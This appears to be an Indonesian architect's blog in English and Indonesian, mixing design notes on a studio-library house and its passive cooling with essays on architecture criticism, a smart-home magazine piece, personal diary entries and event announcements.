through the inclusion as many diverse points of view as possible with regard to what has been perceived and appreciated as good in architecture
through the inclusion as many ways of conception as possible, to create never itteration until the design get exercised and built.
A building is not like an article that is easy to read and has implied meaning, but more like poetry that requires a deep understanding beyond what appears on the surface. An architects has elements of space, form and scale that can be described as a poetic space through inclusivity attitude. A poetic space can be measuring the value of intimacy which determines what kind of relationship between space and human. the dimension of intimacy can be a space-forming element that ultimately determines the level of poetic a space. The dimension of intimacy which makes a space has a different identity from another space. A story is one of the ways to get the value of intimacy, and also has a role in describing the space created. these stories that will give meaning to the space. The intimacy that can be perceived by human to space to determine whether the space will be something meaningful or empty.
The guild is a house for living, working and sharing. The guild’s program combined RAW’s studio, OMAH library and residence. The Design in this house was exercised in program, construction making, and process of living in full iteration from concept to construction. The program is flexible and demanding, providing flexibility and limitations of activities. In this house, the living, working, and sharing is exercised in programming and the detail. The programming is to be flexible but provide limitations. The program has been changing from time to time, from 3 bedrooms to 1 bedroom, from simple shape to more complex geometry, from perfection to imperfection. The guild consists of 2 storey, 1 mezzanine, and 1 summer pavilion on its roof top sitting along with linear garden and one inner courtyard. The office consists of mezzanine and formed by catenary curved, parabolic curve and circle forming the door, the office plan, and window. The structure material used is steel, in a grid 2x 6 m stair as its vertical circulation. It is located at the centre with the main and biggest tappered void made by concrete with slight opening on the top.
This Passive cooling provides to balance the temperature and humidity through the flow of energy. It flows for radiation, conduction, or convection, without electrical tools. Passive Cooling in this building is located in Mezzanine Studio. Here’s some pictures of Passive Cooling we have designed:
opening near the entrance
This opening provides the air flow from air conditioner from the next floor mezzanine. This opening created with 4 cm steel framework module, coated by perforated steel and we use fisher finishing . Perforated steel has designed with holes, so the air can flow through the perforated.
Catenary Curve, between Studio and Associates Room
The Catenary Curve opening could flow the air from mezzanine to the area between associates room and mezzanine. It framed by 2mm thick steel.
Gap between polycarbonat and concrete
This gap located on the side building which separates studio and motorcycle parking. The function of this gap is similiar with those opening which had been explained above; to flow the cool air from the second floor of the mezzanine to the floor below it. This gap also has a function to conduct natural light from outside the building. This gap is coated by polycarbonate and perforated steel. Polycarbonate was placed there to reduce the warm.
In Mezanine, near the pool
Detail of little hole
Actually, this opening was closed by a 8mm solid glass, and the proper function of this opening is not the flow the air from above to below but to conduct the natural light, and to create the “unity” between the Ground Floor Mezzanine and the floor above it. Solid glass, give the transparent effect and also strong enough to And, there is a little hole to withstand human weight. But, this opening still capable to flow the cool air, cause there is a little hole on it, which allow cross air circulation.
The tappered skylight is elaborated in 4 different forms and details with steel as bracket of tempered glass with each uses from the simple into the more complex showing the relationship in working by architect, the design team and builders. The smallest skylight is placed at the 2nd living room, bedroom, and private bathroom. The other skylights is placed in the second bedroom and offices which is exercised of opening at top and opening at the side forming a stacking expression “tumpangsari”, stepped form like stairs, a philosophy in Javanese Culture that is usually found in roof wooden structure in traditional joglo house. It’s a belief that as human we are willing to be successful, going up the ladder of life, nevertheless in this house, this form is made by concrete. The house is open facing north south while the west side is walled with open air bathroom. The other double layered poly carbonate and perforated metal sheet screen provides lighting and more privacy to the office look as its location is in the residential area.
Siang itu saya menikmati waktu lenggang yang tidak seberapa di sebuah warung sebelah kantor, yang, dijuluki Si Benteng oleh para penghuni-nya. Saya anak baru, saya cuma magang disana, beruntungnya saya masuk awal bulan Mei saat si Benteng baru dilahirkan dan mulai dihuni sebagaimana fungsinya. Walaupun, belum sepenuhnya bisa merangkak bahkan berjalan. Kami penghuni-nya yang menuntun adek Benteng kemudian memberinya tirai pada bagian tubuhnya yang tersengat panas matahari, menghiasnya dengan pernak-pernik agar sang adik terlihat menarik untuk para tamu yang silih berganti berkunjung untuk menengoknya.Ya Seperti yang saya bilang, saya cuma anak baru. Baru kenal bapaknya, ndoro Sugih. Baru dapat kepercayaan dari beliau untuk turut menuntun anaknya yang baru lahir, mengisi ruang dalam rekam jejak hidupnya nanti. Itu kenapa saya lebih sering keluar dibanding penghuni si Benteng yang lain. Saya masih ingin kenal si Benteng lebih jauh, mulai dari mengamatinya dari warung sebelah, dari pos satpam perumahan, atau dari depan rumah tetangga yang berada di seberangnya. Warung sebelah, tempat yang paling sering saya kunjungi untuk menatap si Benteng. Kadang pagi sebelum mulai masuk kantor, kalau lagi datang pagi, saya mampir untuk seruput kopi panas sambil ngudud. Duduk diam, termenung di bale kayu depan warung yang tak beratap. Dari sini sesekali menyipitkan mata kalau menatap lurus pada pucuk-pucuk pelindung kepala si Benteng. Pucuk-pucuk penangkal petir yang gagah menusuk lagit seperti menantang dunia tempat ia dilahirkan.
Dari sini juga terlihat topi-topi cerobong udara/cahaya si Benteng yang begitu lugas berkata, kalau mereka berfungsi dengan baik memberi cukup penerangan alami untuk si Benteng. Memberi cukup ruang untuk melepas udara panas yang mengganggu si Benteng. Sementara dari warung ini juga, komentar para tetangga tentang si Benteng sering jadi perbincangan yang menarik. Pemilik warung, lebih banyak berkomentar tentang proses kelahiran si Benteng. Menurutnya prosesnya sangat panjang, kurang lebih menghabiskan waktu selama tiga tahun. Dia banyak bercerita tentang pengalamannya mengamati proses tersebut. Yang selalu jadi pertanyaan untuknya adalah, bagaimana nanti rupanya si Benteng ; kapan hari kelahirannya . Tapi yang paling penting, pertanyaannya sekarang saat si benteng sudah resmi terlahir di dunia dan mulai bisa berinteraksi. Si pemilik warung punya pertanyaan, si Benteng sudah lahir .Seorang ibu pemuilik kontrakan di sebelah warung pun sesekali menanyai saya tentang si Benteng. Mas, bapaknya si Benteng suka matematika ya Anaknya kok bisa berwujud seperti itu Kayak rumus matematika, ya Saya ngeliatnya kayak ada bentuk kerucut, tabung, dan bidang bidang masif yang tegas .
Sementara saya Cuma bisa tersenyum, mengiyakan komentar sang ibu pemilik kontrakan itu. Tak lama setelah meresponnya, bapak tua penjual cendol yang mengaku tiap kamis lewat di samping tempat si Benteng bersemayam menyambar komentarnya.Katanya, bapaknya seorang arsitek ya Si ndoro Sugih Tenanan itu, kan Kok anaknya seperti itu ya Buat saya gak menarik, Mas. Kita kan butuh warna untuk memanjakan mata.Kalau warnanya hijau, pasti saya suka , ujar bapak tua penjual cendol sambil meninggalkan gerobak pikul cendolnya, lalu duduk di sebelah saya
The process consists of several types of construction material to achieve efficiency, and durability by local craftsmanship. The first one is engineered wood construction using thinnest plywood in the area which is untouched by rain water which is engineered by 2 cm thickness plywood to easily bent in the curve and divided on module of 600 cm glass except the tempered glass which is used for full height glass from floor to ceiling. The other intention is to use recycle material such as iron wood and teakwood cut it into smaller pieces and treat it as floor finishes. All of the catenary door is an enginereed door which is exercised based on the efficiency of ergonomy, height of the people, ease to open the door, adjusted for the owner’s dimension, the minimum size of opening, the limitation of hinge and combination of steel.
The second process one is steel construction in creating rooftop stairs, office stairs, railing, window which use smallest size at it can to make it easy to build and construct with not more than 2 persons in one group using 40 x 40 mm steel in L shape and hollow shape joined with bolt to be able to dismantle and constructed in the construction process.
The third one is concrete construction which is art to casting the concrete which will open the skylight in top and the side part with tappered detail allowing natural light to the space inside.
I just bumped attitudes of achieving similarity lacking originality.
A simulacrum (plural: simulacra from Latin: simulacrum, which means “likeness, similarity”), is a representation or imitation of a person or thing.[1] The word was first recorded in the English language in the late 16th century, used to describe a representation, such as a statue or a painting, especially of a god. By the late 19th century, it had gathered a secondary association of inferiority: an image without the substance or qualities of the original.[2] Philosopher Fredric Jameson offers photorealism as an example of artistic simulacrum, where a painting is sometimes created by copying a photograph that is itself a copy of the real.[3] Other art forms that play with simulacra include trompe-l’œil,[4] pop art, Italian neorealism, and French New Wave.[3]
Laurensia had her 33rd birthday on 22nd May. I had everything special for her. Last friday we in the office had great dateline that pushed us quite hard. I was glad that we can pass the critical point. After the dateline finished, we had such nice dinner, finaly done. I think I have to prepare something, flower for this saturday, nice present, or I need to relieve quality time just for her.
One publication just contacted me for writing one article about building nation. I was thinking to come up with idea for proud to be indonesian, and the question is, how can we come up with the feel of proud… we are what we belong, if we have to do something with nation. I remember I met sylvania, friend from ITB architecture, I was thinking that someday we should prepare education of architecture for free for students, that was when story of omah happened. RAW has been doing great, but OMAH is one way to share for others for free. Is it possible to make architecture accesible for all ?
or maybe or must be,
I think too much, right now I just wanna enjoy quality time with Laurensia :) I just came back from multiple design workshops, and meetings today, felt tired, Good Day. Tommorow will be better than today.
tulisan ini dipersiapkan untuk majalah galeri, Universitas Diponegoro – # 1 Reborn Architecture. video mengenai brione cemetry yang didesain carlo scarpa ditampilkan, karena karya tersebut memiliki paradoks, mengenai depth soal kebangkitan, cinta, dan kematian, yang sesuai dengan artikel ini yang membahas mengenai kebangkitan kritik arsitektur
Fraser dan Hodgins berpendapat bahwa jurnalistik pada dasarnya adalah segala bentuk yang terkait dengan pembuatan berita dan ulasan mengenai berita yang disampaikan ke publik ataupun lebih – lebih lagi ada unsur gagasan untuk kepentingan publik, tanggung jawab yaitu dalam rangka membela kebenaran dan keadilan. Namun seberapa benar, dan seberapa adil terkait dengan informasi adalah satu dan dua hal yang kompleks untuk bisa dijelaskan dimana kebenaran disini terkait dengan transparasi dan hasil analisa yang kemudian bisa dipertanggung jawabkan kepada publik yang membaca. Untuk bisa melakukan pertanggungjawaban, seorang jurnalis memerlukan sebuah sikap dan kemampuan untuk memahami, menjelaskan, menganalisa dan mengevaluasi gagasan sehingga pada titik yang tertinggi disinilah pentingnya kritik dalam arsitektur sebagai bentuk jurnalisme yang memangku kepentingan publik.[1]
Dua hari ini saya membaca buku yang ditulis oleh Martin Pawley, judulnya The Strange Death of Architecture Criticism (kematian yang aneh dari kritik arsitektur), dengan pengantar ditulis oleh Norman Foster. Apakah ini pertanda dari kematian dalam cerita arsitektur ? Martin menjelaskan latar belakang penulisan artikel tersebut karena budaya publikasi yang kental dengan sikap berjualan seperti : menonjolkan gambaran – gambaran cantik saja, berita – berita baik saja. Di tulisan ini memberikan argumentasi bahwa lambat laun kritik arsitektur akan mati, hilang, karena sifat dasar arsitek yang menafikan elemen – elemen pembentuk satu proyek seperti : plagiarisme, kurangnya penghargaan terhadap kerja tim, elemen – elemen pembentuk seperti uang , waktu dan pada kontraktor, hubungan antar klien, meskipun saya sendiri tidak sepenuhnya setuju karena lapisan tanggung proyek yang kompleks, dan tingkat pemahaman publik yang tidak sama, namun katakanlah ini Martin sedang mengingatkan arsitek dan publik apa yang sedang terjadi, inilah jurnal arsitektur, perlunya memberikan reaksi terhadap apa yang menjadi kondisi awal. [2]
Jurnalisme dalam arsitektur perlu untuk menelisik lebih dalam dari sekedar klaim – klaim atau kulit atau permukaan, menyibak tirak yang tertutup untuk memberikan kesimpulan yang menunjukkan kredibilitas penulisnya. Dari kacamata jurnalisme, seorang arsitek jenius, atau seseorang biasa – biasa saja menjadi sama. Kondisi dunia yang tidak sama, sarat dengan kekuasaan ini dijelaskan dalam buku yang ditulis Machiavelli, berjudul the prince (sang pangeran), mengenai hubungan antar manusia, bagaimana proses manusia meraih kekuasaan, memperbesar kekuasaan dan kemudian mempertahankan kekuasaan, atau setidaknya itu pula yang diulas oleh robert greene dalam bukunya yang berjudul The 33 Strategies Of War (33 strategi berperang) , karena budaya menegasikan, menutupi, mematikan, menjadi insting dasar manusia untuk hidup. Disinilah fakta, cerita, ataupun deskripsi produk dan proses yang jujur yang dibahas oleh jurnalisme yang membentuk cerita yang utuh, bisa dipahami, diraih intisarinya untuk mendobrak kesombongan kekuasaan, dan kondisi stagnan menjadi penting. Cerita yang diharapkan adalah cerita kesedihan atau bisa juga kebahagiaan mengenai produk dan proses bangunan dengan segala inovasi dan penemuan – penemuan kreatif, untuk menjelaskan pertanyaan bahwa apakah arsitektur kita sekarang benar – benar menjawab permasalahan, dan memberikan gagasan – gagasan baru ? [3]
Jurnalisme arsitektur yang menjawab permasalahan untuk memperbaiki satu kondisi awal (domain), menjadi penting, [4] karena layaknya kehidupan, setiap sendi – sendi hasil dari kriya manusia dalam satu bangunan tercermin dalam cerita arsitektur yang dibuatnya dan perlunya evolusi sebagai dasar untuk memperbaiki kondisi awal. Dari situ lah esensi dasar jurnalisme ada, untuk membuat sebuah cerita yang bisa dibaca, dan menggugah fantasi kecil pembaca. Jurnalisme dalam Arsitektur itu pada dasarnya bisa didekati dengan dua hal yaitu produk, dan proses. Produk bisa diwakilkan dalam pendekatan penjelasan yang sinkronik , mengacu pada hasil, tanpa mempertimbangkan proses, membedah melalui sistem. Proses bisa diwakilkan dalam penjelasan yang diakronik, atau kronologis, mencoba untuk mengetahui lebih dalam dengan runtutan sejarah. Disinilah dua buah pendekatan linguistik dan semiotik yang dibahas oleh Ferdinand Saussure bisa digunakan, pendekatan diakronik dan sinkronik [5]
Para sejarahwan seperti P.Leslie Waterhouse dalam bukunya the story of architecture di tahun 1901, menceritakan sudut pandang arsitektur secara diakronik dari segi sejarah, dimana ia membagi sejarah ke dalam 9 titik sejarah berdasarkan ideologi, ornamen, perencanaan ruang, ataupun anteseden yang dianggap mewakili setiap fase sejarah, seperti : arsitektur mesir, arsitektur yunani, arsitektur roma dan etruscan, arsitektur nasrani, arsitektur muslim, arsitektur romanesque, arsitektur gothic, arsitektur renaissance dan terakhir arsitektur modern. [6] kemudian Setiadi Sopandi didalam bukunya pengantar sejarah arsitektur membuat telaah diakronik dari segi sistem bangunan dengan memberikan tema konstruksi bangunan berupa : gundukan dan tumpukan, tiang dan balok, busur dan kubah, geomoteri dan teori.[7] Saya menilai buku Setiadi Sopandi lekat dengan jembatan antara dunia praktis dan akademis dimana ia mencoba untuk mengolah informasi kedalam dimensi untuk mudah diaplikasikan dari sudut pandang sistem konstruksi. Disinilah adanya dialektika dalam penulisan sejarah arsitektur, proses jurnalistik bisa dimulai dari membuat referensi, mengumpulkan data secara diakronik atau membuat analisa secara sinkronik. Dua contoh pembahasan ide – ide dari pembahasan secara sinkronik bisa terlihat seperti yang dibuat heino engel dalam bukunya Tragsysteme (sistem struktur) yang menjelaskan 5 buah klasifikasi (form,vector, cross section, surface, dan height), yang sangat sederhana untuk membedah seluruh struktur yang ada di dunia konstruksi, dengan mengklasifikasikan bagaimana beban tekan dan tarik, momen dan perilaku material dalam membuat bentuk sebuah bangunan. [8] Contoh lainnya bisa dilihat dari buku architecture without architect (arsitektur tanpa arsitek) yang ditulis oleh Bernard Rudofsky, mengenai arsitektur yang orisinal, asli, penuh dengan inovasi, kreatif, yang sudah ada sejak jaman primitif. [9]
Tragsystem, illustrated by Heino EngelsHyderabad, Sindh, southern Pakistan; not Hyderabad, Andhra Pradesh, south India. Images from Bernard Rudofsky, Architecture without Architects, New York, Museum of Modern Art, 1964: windscoops (called bad-gir by Rudofsky, müg by Wikipedia) on the roofs of buildings, which channel air into their interiors. “In multistoried houses they reach all the way down, doubling as intramural telephones. Although the origin of this contraption is unknown, it has been in use for at least five hundred years.”
Dari kedua pendekatan ini ada sah – sah saja untuk dipilih atau digabungkan yang bisa digunakan untuk sudut pandang dalam memulai. Namun lebih jauh lagi Jurnalisme dalam arsitektur ini diharapkan memiliki kedalaman pemikiran yang diibaratkan membaca satu tulisan seperti mencicipi satu buah yang akan dimakan. Kita mengharapkan bisa mencicipi daging buah tersebut, menembus kulit untuk kemudian merasakan manis dan pahitnya. Proses merasakan ini bisa dirasakan melalui tingkat kedalaman informasi yang diberikan dan tingkat fantasi yang melibatkan atau memanjakan indera perasa pembaca . Sehingga ketika membaca sebuah jurnal dalam arsitektur, kita seperti mengalami satu perjalanan yang luar biasa indahnya, seperti saat kita mengalami ruang – ruang arsitektur yang begitu indahnya dalam produk dan proses. Ruang -ruang yang dibentuk oleh jurnalistik, akan membangkitkan kecintaan kita pada sastra, sehingga arsitektur yang didesain akan bisa bercerita dengan sendirinya melalui tulisan.
Apabila Martin Pawley memilih untuk menulis mengenai kematian kritik arsitektur, saya lebih berpikir optimis, bahwa inilah saat – saat kebangkitan jurnalistik dalam arsitektur dengan memahami, menjelaskan, menganalisa, dan mengkritik arsitektur Indonesia. Saya akan menunggu Martin Pawley dari kutub yang berseberangan.
[1]Komunikasipraktis.com,. ‘Pengertian Jurnalistik: Daftar Definisi Jurnalistik | Komunikasi Praktis’. N.p., 2015. Web. 2 May 2015. untuk memahami definisi dasar jurnalistik,pendapat dari fraser, menjelaskan struktur dasar jurnalistik dan pendapat dari hodgins menjelaskan pentingnya kebenaran dan keadilan dalam jurnalistik. [2] Pawley, Martin, and David Jenkins. The Strange Death Of Architectural Criticism. London: Black Dog Pub., 2007. pp 330,331 [3] Baca juga dua buah buku yang membahas mengenai bagaimana manusa mempengaruhi manusia lain dalam meraih dan mempertahankan kekuasaan. Machiavelli, Niccolò, and W. K Marriott. The Prince. [Waiheke Island]: Floating Press, 2008. Print. dan Greene, Robert. The 33 Strategies Of War. New York: Viking, 2006. Print. [4] Lihat kuliah David Hutama di Halaman http://www.omah-library.com yang membahas tentang kreativitas dalam arsitektur. David menjelaskan orang – orang kreatif sebagai agen evolusi. Saya menilai dimensi kreativitas kedapan kepentingan publik dan pentingnya evolusi ke dalam jurnalisme dalam arsitektur. [5] baca juga latar belakang dari ahli linguistik, semiotik, Ferdinand De Saussure Egs.edu,. ‘Ferdinand De Saussure- Swiss Linguist And Philosopher – Biography’. N.p., 2015. Web. 2 May 2015. [6] Waterhouse, P. Leslie, and R. A Cordingley. The Story Of Architecture. London: Batsford, 1950. Print. [7]Sopandi, Setiadi.Sejarah Arsitektur Sebuah Pengantar. Jakarta: UPH Press, 2015. Print. [8]Engel, Heino. Tragsysteme. Ostfildern-Ruit: Gerd Hatje Publishers, 1997. Print. [9]Rudofsky, Bernard. Architecture Without Architects. New York: Museum of Modern Art; distributed by Doubleday, Garden City, N.Y, 1964. Print.
I was touched by brion tomb by carlo scarpa, the quoestion would be could we do even better than him in terms of effort,and beauty of craftmanship. by integrating what chales waldheim thought in his book, by integration of water sensitive urban design creating water sensitive architecture (Waldheim, Charles. The Landscape Urbanism Reader. New York: Princeton Architectural Press, 2006. Print.)
everytime you go to yogyakarta, stay here, she showed us one room with bathroom connected to her room. She said “I can use you to give me suggestion for my home and gallery everytime (boleh juga katanya) “( we laugh over loud) . And then few people came, she said to everybody, ” I have new son and daughter now, pointing at us whom I (kartika) met in serendipity in affandi’s gallery. ” I felt that It’s not that we are so special, but she treated everyone like her son or daughter, and we were so lucky to meet her. She is just so lovely. And she said “i have told you my story, and what’s yours ? “….Such admirable person! in such age and willing to ask , listen and teach unknown people in front of her.
while preparing lecture for student of Trisakti, in one venue title Metamorfosa 2015, I was thinking to share the thinking Jonathan Barnett about how to design a place in be predicting behaviour setting, or Le Corbusier about the importance of rationalism, influencing by paradigm, or even Jon Lang about compexity of public realm issues in urban design by three issues, procedures, products, and paradigms in urban design.
At the beginning of this month, I wrote one article for Baccarat Indonesia. The idea was to rethink the idea of smart home, is the home smarter than us the people living inside or the other way around. I remember one storey of Ben Copper in movie titled smart home. It was the story of the home who is become smarter than the owner. The owner, Ben Copper asked the house to take care of him, and the result is the house overprotected him.
“Di Tahun 1998, Ben Cooper yang saat itu berumur 13 tahun dan keluarganya mengalami kesulitan untuk mengatur hidup mereka, mengatur rumah, mengatur tugas– tugas sekolah dan mengatur pekerjaannya. Ben remaja tidak memiliki waktu untuk dirinya sendiri seperti anak lainnya, termasuk untuk bermain basket, satu olahraga yang disenanginya. Suatu ketika Ben dan keluarganya memenangkan sebuah rumah pintar yang dinamakan Pat, sekaligus diperkenalkan dengan penciptanya, Sara Barnes. Pat mampu menyelesaikan tugas– tugas yang dilakukan Ben untuk mengatur rumah. Tidak puas dengan program yang dimiliki Pat, Ben memprogram kembali rumah tersebut untuk “seolah-olah” menjadi seorang ibu bagi keluarganya, membuat Pat mengatur kehidupan mereka, termasuk mengatur jadwal dan membuat keputusan! Secara perlahan, Pat mengubah dirinya sendiri dan tidak mengijinkan keluarga tersebut keluar rumah. Di akhir cerita Ben berhasil meyakinkan Pat bahwa dia tidak nyata dan ia bukan manusia. Akhirnya mereka kembali terbebas, dan Pat diprogram ulang untuk kembali ke kondisi awal. Ini adalah satu cerita dari film “Smart Home” yang dirilis tahun 1999. Di era tersebut banyak film bertema kepintaran sebuah rumah, satu kecerdasan buatan, satu lingkungan yang memudahkan manusia yang kemudian manusia itu sendiri terbelenggu dalam teknologi yang diciptakannya. Saya kemudian bertanya–tanya apakah kegiatan memelihara rumah itu sedemikian sulitnya untuk bisa dilakukan sendiri dan dinikmati.”
Then I compared the story with story of Ferdi and Joice, both of them are my clients, creative people who works as graphic designer. I think they are smart people, and become smarter living in their home
“Teringat juga dalam satu saat, kira–kira dua tahun yang lalu, saya bertemu dengan Ferdi dan Joice, mereka meminta saya menjadi arsitek rumah impian mereka di atas lahan 150 meter persegi yang kemudian diberi nama Istakagrha. Pasangan ini kreatif dan keduanya berprofesi sebagai desainer grafis. Ferdi dan Joice menginginkan rumah yang natural, memandang ke alam dengan suasana vila di Bali, tempat mereka mungkin menghabiskan waktu terbaik bersama. Rumah ini memiliki ruang–ruang lapang yang berbeda dengan rumah yang ditempati sebelumnya yang terkesan sempit karena tersekat-sekat akibat pengaturan rumah yang tidak efisien.
Saya pun mendesain konsep teknologi sederhana Smart Home di mana rumah tersebut memiliki konsep teknologi penghawaan alami dengan sirkulasi udara silang dan air stacking effect yang menghadap ke arah Timur dan memberikan sisinya yang tertutup untuk menghadap ke arah Barat. Di sisi Timur terdapat taman sebesar satu pertiga tanah mereka yang seluas 50 meter persegi merangkap garasi luar. Di taman ini diberikan satu latar belakang dengan teknologi konstruksi tumpuk, bata ringan yang disusun dengan lubang sebesar 5 cm dan berselang–seling untuk menjaga privasi. Di taman ini dibingkailah sebuah ruang keluarga, tempat mereka menghabiskan waktu bersama. Di area ruang keluarga terdapat dapur bersih dengan desain yang fungsional, mudah dirawat, dan terlihat mewah namun sederhana untuk memasak dengan kompor gas karena mereka biasa menghabiskan waktu untuk masak sendiri dan makan bersama. Mereka kemudian bercerita bahwa sejak rumah ini selesai dibangun dan ditempati, mereka menghabiskan waktu lebih lama di rumah tersebut dibandingkan dengan berpergian ke mal. Mereka mulai mengundang teman–teman untuk menghabiskan waktu bersama, sehingga ada nilai kebersamaan yang dibangun. Mereka pun menjadi lebih peka bahwa sisi matahari yang menghadap Barat itu akan memberikan panas yang terik di jam 3 sore. Teknologi yang dipakai di sini adalah teknologi yang sederhana dengan penerapan fisika bangunan untuk mengembalikan hunian yang dekat ke alam dengan seminimal mungkin menggunakan mesin untuk mengatur kehidupan manusia. Ferdi dan Joice adalah pengatur kehidupan mereka di Istakagrha.”
Then the result was
“Saya kemudian bertanya–tanya mengenai apa itu Smart Home? Apa yang sebenarnya dibangun di dalamnya? Sebuah keluarga yang berproses untuk menguasai teknologi ataukah teknologi yang lebih pintar daripada manusia yang kemudian menguasai keluarga tersebut? Dari situlah mungkin kita mendapatkan cerita–cerita yang mendalam mengenai bagaimana kita tinggal dan hidup di rumah tersebut. Cerita yang unik ketika si penghuni dimudahkan dan belajar tanpa henti di dalam runtutan teknologi di dalam rumah yang indah.”
Then I was thinking, technology could be integrated with system, structure, to recall what we think science in architecture, I think the book by Heinrio Eingels, one of my favourite about building structure system, might be useful to determine how structure address the space in wide span, tall building, or functional model. I remember last time I had lectured in University of Petra about the importance of knowing this science of making form and space, science of architecture
1] the quoted section in the article was published in Baccarat Indonesia, this month edition.
There was promise that I made for our family just a month ago , a promise to spread our happiness for our family, which is our little secret. This story belong to my wife and my son or daughter who are still in womb, not yet born, still young 2 months old.
I can’t provide anything in this journey which our family has, which i think this journey is a wonderful journey. Sometime I have to say I put much of my time in architecture, how I can help people, nurturing staffs, creating ideas, it is simply doing stuffs that I love. To be honest, sometime I feel very guilty not to pay attention, giving time for all of you Son/Daughter, in which I have to say thank you for all of the generosity, all of the patience, that you have to me. Son/Daughter, I hope our journey in the day that you are born, will come true, as we, your mother, and me your father, really miss you so much, by happiness not by tears, by joy, not by sadness.
To release our past, it is not so easy, there is affiliation with past that we always remember, but Me, your father and Laurensia, your mother have been trying to accept our life, our human condition, that makes us just like who we are. In our heart, we only hope that your coming to our life will fill emptiness in our heart, to release our past.
In this such extraordinary time that I did in architecture, such tremendous hours in one day, I’m working hard, just like other father doing the best, to push their best, to show to you, your mom or even to egoistical myself that I can take care of our family. I really want to learn from you for doing another the very best mistakes that I have, and learning what the best from the best people that we will face in this live, together as family. I am just afraid that I always try to help others, but for the people that I care most, I forgot to pay attention to. Laurensia has fear of losing you son / daughter, I am in a huge fear of losing you. In our young age, i must say, we were taught to feel lost of family, lost of son of daughter and son several times. It brought scar in our heart. Some people said that in order to be strong you have to release pain, give medicine to your scar, you have to release your past.
I hope that this journey will be happy ending, at least for you, so you can meet your beautiful mother, Laurensia, who has always been missing you, who has been in tears for losing someone special. I really miss you, and hopefully God will answer your mom’s and father’s prayer that we can do this adventure together, we already have huge plan for you and your will be little sisters and your will be little brothers. That was the promise, and the promise is a way to keep our faith in life.
Istakagrha, work by RAW was published in Home Diary magazine. The article was written by Home Diary team and The beautiful pictures was taken by Bambang Purwanto.
Istakagrha, work by RAW was published in Home Diary magazine. The article was written by Home Diary team and The beautiful pictures was taken by Bambang Purwanto.
from left to right (Andhang, Tatyana, Meirisa, me, Primaldy, Tony, Silvanus), pic taken by Silvanus
I’m proud of who, where they are, I’m so proud of the future that they face, I’m so much proud of the authenticity that they keep in their inner beauty. I remember few years back because we were discussing the old time, the current time, and the future that we have.
Kita perlu mempertanyakan apakah kotak itu harus selalu tegak lurus menghadap lot jalan yang biasa berbentuk tegak lurus, atau apakah ia bisa merepresentasikan keinginan untuk manusia untuk hidup, berkreasi, dan tinggal didalamnya. Ketika satu bentuk itu ada, ia ada berdasarkan coretan garis diantara dua kerangka, garis- garis penuh pertimbangan yang taktis, terukur juga garis – garis emosional, dimana ada ketakutan kekuatan di dalam diri. 2 garis itu bersatu dalam satu pertunjukkan yang hidup ketika manusia mulai mendesain, manusia mulai berpikir tentang nalar, dimana ada kebutuhan, ada pemahaman mengenai karakter, ada visi mengenai bagaimana bangunan itu akan dibangun, bagaimana kehidupan itu akan dibangun.
Saat yang lalu bertemu dengan beberapa klien, beberapa dari mereka adalah satu keluarga yang ingin hidup bersama tinggal di dalam satu rumah yang terpecah – pecah menjadi beberapa kelompok bangunan namun ingin tetap terhubung satu dengan yang lain. Ada satu prinsip keterdekatan dan keterjauhan, ingin ada jarak namun tetap dekat, terhubung, seperti hubungan manusia, paradoks yang dimainkan. Arsitektur pun seperti itu, satu buah ruang besar dengan ketinggian 2 lantai tanpa kolom, disinilah mereka bisa berkumpul, menonton TV, makan bersama, memasak bersama, bersosialisasi bersama. Ruang – ruang tidur di sebarkan di sekitar ruang keluarga dengan menghadap ke taman. Kemudian saya bertanya pada diri saya sendiri, apa bentuk dasar yang dipakai ? saya berpikir susunan beberapa kerangka yang memiliki keterdekatan dan keterjauhan yang dipisahkan oleh taman akan baik, tarian beberapa buah kotak.
Didalam satu kerangka yang ada, terdapat keterdekatan dan keterjauhan, terdapat ledakan kreatifitas tanpa batas, yang diselami lebih dalam dan lebih dalam lagi setiap harinya bangunan itu didesain menjadi lebih baik dan lebih baik lagi oleh manusia. Hal ini wajar terjadi dalam relasi manusia, begitupun juga relasi tarian yang ada dalam ledakan – ledakan di dalam bangunan. Apabila bangunan membentuk manusia didalamnya, begitupun arti satu bangunan dalam kehidupan manusia atau lebih dalam disinilah hidup seorang manusia baru saja dimulai untuk belajar hidup yang lebih baik. Apakah kita perlu terkungkung dalam satu garis yang tegas, dengan perencanaan yang axial. Karena kita hidup dalam sistem, dimana ada satu keteraturan yang mengatur dengan pola – pola yang tegas di dalam kerangka yang ada, setiap orang begitupun bangunan berhak untuk hidup dalam ledakan emosinya, ledakan kreatifitasannya. Begitulah hidup saya pikir, hidup dalam kerangka dan keinginan manusia adalah lepas dari kerangka itu. Sebuah keinginan yang terus berujung dari awal hidup sampai kematian, begitupun juga manusia, begitupun juga bangunan.
Realrich, together with Deddy Wahjudi, and Mohammad B. Teguh will present Rumah Pertama : Strategi Design dan Investasi moderated by Priscillia Epifania. Rumah yang unik dan sesuai keinginan adalah idaman semua orang. Namun kenaikan harga property dan tanah yang kian melonjak membuat semua orang berpikir bahwa rumah yang ditawarkan para pengembang adalah satu – satunya pilihan. “Benarkah kita tidak dapat memiliki rumah dengan desain yang kita inginkan ?”
Dengan pengetahuan dan keahlian dari perencana keuangan dan arsitek, kita dapat berdiskusi tentang hal – hal yang harus dipertimbangkan dalam merencanakan sebuah rumah ideal.
Nongkrong Bareng Arsitek mempersembahkan, NBA with Realrich Sjarief. Siapa itu Realrich Sjarief? kalau teman2 googling ada 3 link paling atas yang bakal keluar yaitu :
Tema kali ini adalah “menjadi mumpuni merajut kemampuan” adalah percobaan untuk membuka wawasan arsitek dan mahasiswa arsitektur, khususnya yang muda, fresh graduate. Jangan buru2 atau gegabah jika ingin menjadi arsitek. baru lulus langsung buka biro/studio..ada tahapan2 yang butuh anda lalui sebelum anda benar2 menjadi seorang arsitek. untuk menjadi mumpuni di kehidupan sehari hari, anda harus merajut kemampuan mulai dari sebelum anda kuliah di kampus arsitektur, pada saat kuliah dan setelah anda lulus, bahkan sampai anda tua nanti, anda akan tetap merajut kemampaun.
Arsitek Realrich Sjarief akan sharing, tentang pengalamannya dalam merajut kemampuannya mulai dari saat kuliah, lulus, kerja di indonesia dan di luar indonesia serta akhirnya beliau membuka studio sendiri.
Mas Rich akan menjadi presenter pada hari Jum’at 27 February 2015 di Toko Cheesecake, L’ Cheese Factory jalan durian 28 sukajadi Pekanbaru.
